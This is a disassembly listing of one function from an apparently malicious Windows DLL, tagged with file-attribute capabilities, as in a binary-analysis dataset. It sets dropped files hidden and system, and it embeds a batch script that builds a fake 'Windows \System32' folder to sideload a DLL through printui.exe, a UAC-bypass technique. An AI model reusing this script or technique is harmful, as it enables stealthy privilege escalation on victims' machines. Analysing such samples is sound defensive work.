Function at 0x180053d40
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x6a0
movaps xmmword [rsp + 0x690], xmm6
mov rax, qword [0x180223280]
xor rax, rsp
mov qword [rsp + 0x680], rax
mov r14, rdx
mov r15, rcx
xor ebx, ebx
lea r12, [0x180205da0]
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180053d9e
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
movabs rdi, 0xc000000000000000
mov qword [rsp + 0xa0], rdi
mov rcx, r15
cmp qword [r15 + 0x18], 7
jbe 0x180053de1
mov rcx, qword [r15]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
movabs rsi, 0xc000000000000010
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x170]
call fcn.18000a610
nop
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x180053e94
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x180053ecf
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x190]
call fcn.18000a610
nop
lea rcx, [rsp + 0x250]
call fcn.180005640
mov rdx, rax
lea rax, [0x180205dd0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180053fd9
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x1f0]
call fcn.18000a610
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x1800540a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800540a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e22
call fcn.18008ef10
movdqa xmm6, xmmword [0x1802080c0]
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
lea rcx, [rsp + 0x2d0]
call fcn.180005640
mov rdx, rax
lea rax, str..bat
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x180054144
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x1d0]
call fcn.18000a610
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 7
jbe 0x180054214
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005420f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e28
call fcn.18008ef10
movdqu xmmword [rsp + 0x2e0], xmm6
mov word [rsp + 0x2d0], bx
lea rcx, [rsp + 0x250]
call fcn.180005640
mov rdx, rax
lea rax, str..vbs
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov qword [rsp + 0x110], rcx
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
mov rcx, rdx
cmp qword [rdx + 0x18], 7
jbe 0x1800542a7
mov rcx, qword [rdx]
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x2b0]
call fcn.18000a610
nop
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x180054377
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054372
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e2e
call fcn.18008ef10
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov qword [rsp + 0x150], r12
mov qword [rsp + 0x158], 5
lea rax, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rax, qword [rsp + 0x170]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r15 + 0x20]
cmp qword [r15 + 0x38], 7
jbe 0x1800543f5
mov rdx, qword [r15 + 0x20]
mov rax, qword [r15 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x290]
call fcn.18000a610
nop
lea rax, str..lnk
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 9
mov rdx, r14
cmp qword [r14 + 0x18], 7
jbe 0x1800544a5
mov rdx, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xa0], rdi
lea rdx, [r14 + 0x20]
cmp qword [r14 + 0x38], 7
jbe 0x1800544e0
mov rdx, qword [r14 + 0x20]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rax
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0x110], 2
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x118], rax
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
movaps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x150], xmm1
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x230]
call fcn.18000a610
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x18005457a
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
lea rcx, [rsp + 0x130]
call fcn.180008f10
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180024a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
lea r12, [0x180224290]
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x18005464c
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x18005465e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054659
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e34
jmp 0x180054659
mov dil, 1
test ecx, ecx
jne 0x180055e3a
jmp 0x180054607
call fcn.18008ef10
test dil, dil
je 0x18005491b
mov eax, ebx
xchg byte [r15 + 0xc0], al
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x1800546b8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800546b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e57
call fcn.18008ef10
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x18005471c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054717
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e5d
call fcn.18008ef10
movdqu xmmword [rsp + 0x2a0], xmm6
mov word [rsp + 0x290], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 7
jbe 0x180054775
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054770
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e63
call fcn.18008ef10
movdqu xmmword [rsp + 0x2c0], xmm6
mov word [rsp + 0x2b0], bx
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x1800547ce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800547c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e69
call fcn.18008ef10
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x208]
cmp rdx, 7
jbe 0x180054832
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005482d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e6f
call fcn.18008ef10
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 7
mov word [rsp + 0x1f0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180054896
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054891
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e75
call fcn.18008ef10
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x1800548fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800548f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e7b
call fcn.18008ef10
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], 7
mov word [rsp + 0x170], bx
jmp 0x180055df2
lea rdx, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 7
cmova rdx, qword [rsp + 0x1f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rbx
mov qword [rsp + 0x308], rbx
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0x2f0]
call fcn.180008f10
nop
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x270], xmm0
mov qword [rsp + 0x280], rbx
mov qword [rsp + 0x288], rbx
mov r8, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x270]
call fcn.180008f10
nop
lea rcx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 7
cmova rcx, qword [rsp + 0x2f0]
mov rax, qword [rsp + 0x300]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180023160
cmp rax, rsi
je 0x180054a2b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1800549f6
cmp cx, 0x2f
jne 0x1800549ff
add rax, 2
cmp rax, rsi
jne 0x1800549e7
cmp rax, rsi
je 0x180054a2b
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x180054a2b
cmp cx, 0x2f
je 0x180054a2b
mov rdi, rdx
cmp rax, rdx
jne 0x180054a10
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x130]
call fcn.180008f10
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x310]
call fcn.1800064c0
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180054abe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054ab9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f42
call fcn.18008ef10
lea rcx, [rsp + 0x270]
cmp qword [rsp + 0x288], 7
cmova rcx, qword [rsp + 0x270]
mov rax, qword [rsp + 0x280]
lea rsi, [rcx + rax*2]
mov rdi, rsi
mov rdx, rsi
call fcn.180023160
cmp rax, rsi
je 0x180054b2c
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x180054b03
cmp cx, 0x2f
jne 0x180054b0c
add rax, 2
cmp rax, rsi
jne 0x180054af4
cmp rax, rsi
je 0x180054b2c
lea rdx, [rdi - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x180054b2c
cmp cx, 0x2f
je 0x180054b2c
mov rdi, rdx
cmp rax, rdx
jne 0x180054b11
sub rsi, rdi
sar rsi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x130]
call fcn.180008f10
nop
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x250]
call fcn.1800064c0
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180054bbf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054bba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f3c
call fcn.18008ef10
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rdx, qword [rsp + 0x170]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x180]
lea rcx, [rsp + 0x130]
call fcn.180008f10
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180024a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x180054cac
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180054cbe
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054cb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055e81
jmp 0x180054cb9
xor dil, dil
test ecx, ecx
jne 0x180055e87
jmp 0x180054c67
call fcn.18008ef10
test dil, dil
je 0x180054cf4
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x210]
call fcn.180028d50
nop
lea rcx, [rsp + 0x210]
call fcn.180052090
nop
lea rcx, [rsp + 0x210]
call fcn.180006450
lea rdx, [rsp + 0x230]
cmp qword [rsp + 0x248], 7
cmova rdx, qword [rsp + 0x230]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x240]
lea rcx, [rsp + 0x130]
call fcn.180008f10
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180024a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x180054de1
cmp eax, 1
setne dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180054df3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054dee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055ea4
jmp 0x180054dee
xor dil, dil
test ecx, ecx
jne 0x180055eaa
jmp 0x180054d9c
call fcn.18008ef10
test dil, dil
je 0x180054e29
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x210]
call fcn.180028d50
nop
lea rcx, [rsp + 0x210]
call fcn.180044430
nop
lea rcx, [rsp + 0x210]
call fcn.180006450
lea rdx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rdx, qword [rsp + 0x170]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
mov r8, qword [rsp + 0x180]
lea rcx, [rsp + 0x110]
call fcn.180008f10
nop
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
call fcn.18008d574
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180055ec7
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x180054eea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054ee5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055ee0
call fcn.18008ef10
lea rdx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rdx, qword [rsp + 0x190]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x130]
call fcn.180008f10
nop
mov r8d, 3
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x110]
call fcn.180024a60
movsd xmm0, qword [rax]
movsd qword [rsp + 0x150], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x110], ecx
mov qword [rsp + 0x118], r12
movaps xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, dword [rsp + 0x150]
test eax, eax
je 0x180054fd7
cmp eax, 1
sete dil
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x180054fe9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180054fe4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055ee6
jmp 0x180054fe4
mov dil, 1
test ecx, ecx
jne 0x180055eec
jmp 0x180054f92
call fcn.18008ef10
test dil, dil
je 0x18005501f
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x210]
call fcn.180028d50
nop
lea rcx, [rsp + 0x210]
call fcn.180044480
nop
lea rcx, [rsp + 0x210]
call fcn.180006450
lea rcx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rcx, qword [rsp + 0x190]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18005506d
test al, 4
jne 0x18005506d
lea rcx, [rsp + 0x190]
cmp qword [rsp + 0x1a8], 7
cmova rcx, qword [rsp + 0x190]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800550bb
test al, 4
jne 0x1800550bb
lea rcx, [rsp + 0x170]
cmp qword [rsp + 0x188], 7
cmova rcx, qword [rsp + 0x170]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rsp + 0x1f0]
cmp qword [rsp + 0x208], 7
cmova rdx, qword [rsp + 0x1f0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, qword [rsp + 0x200]
lea rcx, [rsp + 0x130]
call fcn.180008f10
nop
lea rdx, [r15 + 0x60]
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 7
jbe 0x180055118
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], rbx
lea rcx, [rsp + 0x110]
call fcn.180008f10
nop
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x110]
cmp qword [rsp + 0x128], 7
cmova rcx, qword [rsp + 0x110]
xor r8d, r8d
call fcn.18008d2bc
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x180055f09
mov rdx, qword [rsp + 0x128]
cmp rdx, 7
jbe 0x1800551d4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800551cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f2a
call fcn.18008ef10
movdqu xmmword [rsp + 0x120], xmm6
mov word [rsp + 0x110], bx
mov rdx, qword [rsp + 0x148]
cmp rdx, 7
jbe 0x18005522d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055228
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f30
call fcn.18008ef10
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1c0], xmm1
mov r8d, reloc.LIBPQ.dll_Ordinal_14
lea rdx, str._SystemDrive__
lea rcx, [rsp + 0x1b0]
call fcn.180008f10
nop
mov eax, dword [r14 + 0x40]
test eax, eax
jne 0x180055690
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0xa0]
call fcn.180028d50
nop
lea rdx, [rsp + 0xf0]
mov rcx, rax
call fcn.180023550
nop
lea rdx, [rsp + 0xd0]
mov rcx, rax
call fcn.18002a8d0
nop
lea rcx, str._echo_off_r_nchcp_65001_r_nexplorer__..__r_nif_not_exist__Windows_System32010101____r_n_tif_exist__Windows_System32__rmdir__S__Q___Windows___r_n_tmkdir___Windows_System32__r_n_tmkdir__Windows_System32010101__r_n_txcopy__WindowsSystem32printui.exe___Windows_System32___Y_r_n_txcopy_____Windows_System32___Y_r_n_tren__Windows_System32___printui.dll__r_n_tif_exist__Windows_System32printui.exe____r_n_t_tif_exist__Windows_System32printui.dll____r_n_t_t_tstart_____Windows_System32printui.exe__r_n_t_t__else_rmdir__S__Q___Windows___r_n_t__else_rmdir__S__Q___Windows___r_n_
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 0x24c
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x90], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x80], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x310]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x1b0]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x330]
call fcn.180059110
nop
